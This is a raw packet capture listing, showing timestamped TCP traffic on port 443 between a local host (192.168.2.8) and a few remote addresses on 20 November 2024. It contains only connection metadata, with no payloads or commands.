Nov 20, 2024 13:28:45.437628031 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:45.437736988 CET	49909	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:45.437923908 CET	49909	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:45.437948942 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.488200903 CET	443	49905	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.488429070 CET	443	49905	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.488491058 CET	49905	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.489003897 CET	49905	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.489036083 CET	49905	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.489036083 CET	443	49905	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.489052057 CET	443	49905	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.493976116 CET	49910	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.494012117 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.494074106 CET	49910	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.494235992 CET	49910	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.494240999 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.496011019 CET	443	49907	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.498506069 CET	49907	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.498523951 CET	443	49907	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.499874115 CET	49907	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.499881983 CET	443	49907	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.503560066 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.503745079 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.504122019 CET	49908	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.504129887 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.504775047 CET	49908	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.504779100 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.505402088 CET	49906	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.505409956 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.505783081 CET	49906	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.505788088 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.597332001 CET	443	49907	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.597409010 CET	443	49907	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.597466946 CET	49907	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.597733974 CET	49907	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.597749949 CET	443	49907	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.597764969 CET	49907	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.597773075 CET	443	49907	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.601355076 CET	49911	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.601402044 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.601491928 CET	49911	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.601739883 CET	49911	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.601752043 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.603806019 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.604404926 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.605118990 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.605171919 CET	49906	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.605225086 CET	49906	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.605242968 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.605253935 CET	49906	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.605259895 CET	443	49906	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.605882883 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.605931997 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.605946064 CET	49908	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.605974913 CET	49908	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.606090069 CET	49908	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.606106997 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.606117964 CET	49908	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.606127977 CET	443	49908	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.608266115 CET	49912	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.608309031 CET	443	49912	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.608371019 CET	49912	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.608571053 CET	49912	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.608582020 CET	443	49912	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.609574080 CET	49913	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.609611034 CET	443	49913	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.609673023 CET	49913	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.609843016 CET	49913	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.609854937 CET	443	49913	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.683185101 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.684029102 CET	49909	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.684062958 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.684608936 CET	49909	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.684614897 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.785950899 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.786154985 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.786252022 CET	49909	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.786434889 CET	49909	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.786458015 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.786468983 CET	49909	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.786478996 CET	443	49909	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.790148973 CET	49914	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.790203094 CET	443	49914	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:46.790330887 CET	49914	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.790587902 CET	49914	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:46.790602922 CET	443	49914	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.226286888 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.226949930 CET	49910	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.226967096 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.227464914 CET	49910	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.227469921 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.288912058 CET	443	49912	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.289660931 CET	49912	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.289697886 CET	443	49912	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.290189028 CET	49912	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.290201902 CET	443	49912	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.296395063 CET	443	49913	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.296789885 CET	49913	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.296863079 CET	443	49913	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.297149897 CET	49913	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.297168970 CET	443	49913	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.311841011 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.312272072 CET	49911	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.312290907 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.312634945 CET	49911	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.312644005 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.337501049 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.337569952 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.337667942 CET	49910	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.337676048 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.337737083 CET	49910	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.338027000 CET	49910	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.338047981 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.338057995 CET	49910	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.338063002 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.341567039 CET	49915	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.341650009 CET	443	49915	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.341742039 CET	49915	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.341911077 CET	49915	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.341921091 CET	443	49915	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.392610073 CET	443	49912	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.392734051 CET	443	49912	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.393022060 CET	49912	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.393096924 CET	49912	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.393116951 CET	443	49912	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.393141985 CET	49912	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.393150091 CET	443	49912	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.396488905 CET	49916	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.396609068 CET	443	49916	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.396711111 CET	49916	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.396754980 CET	443	49913	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.396887064 CET	443	49913	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.396930933 CET	49916	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.396966934 CET	443	49916	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.396976948 CET	49913	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.397030115 CET	49913	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.397030115 CET	49913	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.397058010 CET	443	49913	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.397084951 CET	443	49913	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.399476051 CET	49917	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.399574995 CET	443	49917	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.399667978 CET	49917	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.399837017 CET	49917	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.399872065 CET	443	49917	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.418787003 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.420058966 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.420130014 CET	49911	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.420165062 CET	49911	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.420177937 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.420195103 CET	49911	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.420200109 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.422760010 CET	49918	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.422785997 CET	443	49918	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.422928095 CET	49918	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.423132896 CET	49918	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.423161030 CET	443	49918	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.492783070 CET	443	49914	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.493666887 CET	49914	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.493699074 CET	443	49914	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.494779110 CET	49914	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.494791985 CET	443	49914	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.600227118 CET	443	49914	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.600415945 CET	443	49914	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.600482941 CET	49914	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.600495100 CET	443	49914	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.600547075 CET	49914	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.600769997 CET	49914	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.600790024 CET	443	49914	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.600833893 CET	49914	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.600840092 CET	443	49914	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.604751110 CET	49919	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.604837894 CET	443	49919	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:47.604931116 CET	49919	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.605179071 CET	49919	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:47.605214119 CET	443	49919	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.011603117 CET	443	49915	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.013875008 CET	49915	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.013917923 CET	443	49915	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.014399052 CET	49915	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.014405012 CET	443	49915	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.054258108 CET	443	49916	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.055135012 CET	443	49917	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.055573940 CET	49916	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.055602074 CET	443	49916	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.055970907 CET	49916	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.055977106 CET	443	49916	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.056185007 CET	49917	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.056206942 CET	443	49917	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.056514978 CET	49917	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.056519985 CET	443	49917	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.078598976 CET	443	49918	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.081716061 CET	49918	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.081732035 CET	443	49918	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.082132101 CET	49918	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.082138062 CET	443	49918	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.115394115 CET	443	49915	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.115598917 CET	443	49915	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.115689039 CET	49915	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.115920067 CET	49915	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.115936995 CET	443	49915	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.115967989 CET	49915	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.115973949 CET	443	49915	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.118892908 CET	49920	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.118931055 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.118994951 CET	49920	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.119132042 CET	49920	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.119141102 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.156951904 CET	443	49917	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.157203913 CET	443	49916	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.157361984 CET	443	49916	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.157481909 CET	443	49917	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.157557964 CET	49916	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.157594919 CET	49917	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.160252094 CET	49917	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.160252094 CET	49917	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.160291910 CET	443	49917	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.160322905 CET	443	49917	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.161923885 CET	49916	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.161923885 CET	49916	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.161972046 CET	443	49916	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.161999941 CET	443	49916	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.165258884 CET	49921	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.165294886 CET	443	49921	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.166294098 CET	49922	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.166330099 CET	443	49922	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.166349888 CET	49921	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.166372061 CET	49922	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.166568041 CET	49921	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.166584969 CET	443	49921	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.166671991 CET	49922	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.166683912 CET	443	49922	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.190668106 CET	443	49918	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.190920115 CET	443	49918	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.190965891 CET	443	49918	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.190983057 CET	49918	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.191019058 CET	49918	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.191287994 CET	49918	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.191328049 CET	443	49918	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.191361904 CET	49918	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.191378117 CET	443	49918	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.193948030 CET	49923	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.193974018 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.194041967 CET	49923	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.194175005 CET	49923	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.194190979 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.242551088 CET	443	49919	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.257112026 CET	49919	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.257143974 CET	443	49919	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.258373976 CET	49919	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.258379936 CET	443	49919	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.359155893 CET	443	49919	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.359236002 CET	443	49919	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.359328032 CET	49919	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.590846062 CET	49919	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.590883017 CET	443	49919	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.590897083 CET	49919	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.590903997 CET	443	49919	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.597657919 CET	49924	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.597707987 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.597831964 CET	49924	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.600514889 CET	49924	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.600531101 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.763497114 CET	49925	443	192.168.2.8	142.250.186.36
Nov 20, 2024 13:28:48.763591051 CET	443	49925	142.250.186.36	192.168.2.8
Nov 20, 2024 13:28:48.764218092 CET	49925	443	192.168.2.8	142.250.186.36
Nov 20, 2024 13:28:48.764678001 CET	49925	443	192.168.2.8	142.250.186.36
Nov 20, 2024 13:28:48.764714003 CET	443	49925	142.250.186.36	192.168.2.8
Nov 20, 2024 13:28:48.771622896 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.772481918 CET	49920	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.772492886 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.773576975 CET	49920	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.773581982 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.825472116 CET	443	49922	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.827204943 CET	49922	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.827213049 CET	443	49922	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.828159094 CET	49922	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.828164101 CET	443	49922	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.832798958 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.833264112 CET	49923	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.833285093 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.833843946 CET	49923	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.833851099 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.876262903 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.876708031 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.876746893 CET	49920	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.876755953 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.876835108 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.876880884 CET	49920	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.877012968 CET	49920	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.877031088 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.877039909 CET	49920	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.877046108 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.880383015 CET	49926	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.880419016 CET	443	49926	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.880479097 CET	49926	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.880686998 CET	49926	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.880696058 CET	443	49926	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.900572062 CET	443	49921	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.901350021 CET	49921	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.901360989 CET	443	49921	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.902025938 CET	49921	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.902033091 CET	443	49921	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.929306984 CET	443	49922	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.929493904 CET	443	49922	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.929547071 CET	49922	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.935214043 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.935452938 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.935498953 CET	49923	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.944164038 CET	49922	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.944190025 CET	443	49922	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.944202900 CET	49922	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.944211006 CET	443	49922	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.947690010 CET	49923	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.947710037 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.947726011 CET	49923	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.947734118 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.953151941 CET	49927	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.953214884 CET	443	49927	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.953274965 CET	49927	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.955061913 CET	49928	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.955099106 CET	443	49928	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.955147982 CET	49928	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.956007004 CET	49927	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.956023932 CET	443	49927	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:48.956208944 CET	49928	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:48.956219912 CET	443	49928	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.006876945 CET	443	49921	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.006970882 CET	443	49921	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.007024050 CET	49921	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.007333040 CET	49921	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.007345915 CET	443	49921	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.007359028 CET	49921	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.007364988 CET	443	49921	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.013650894 CET	49929	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.013691902 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.013757944 CET	49929	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.014166117 CET	49929	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:49.014179945 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.281570911 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:49.282551050 CET	49924	443	192.168.2.8	13.107.246.45
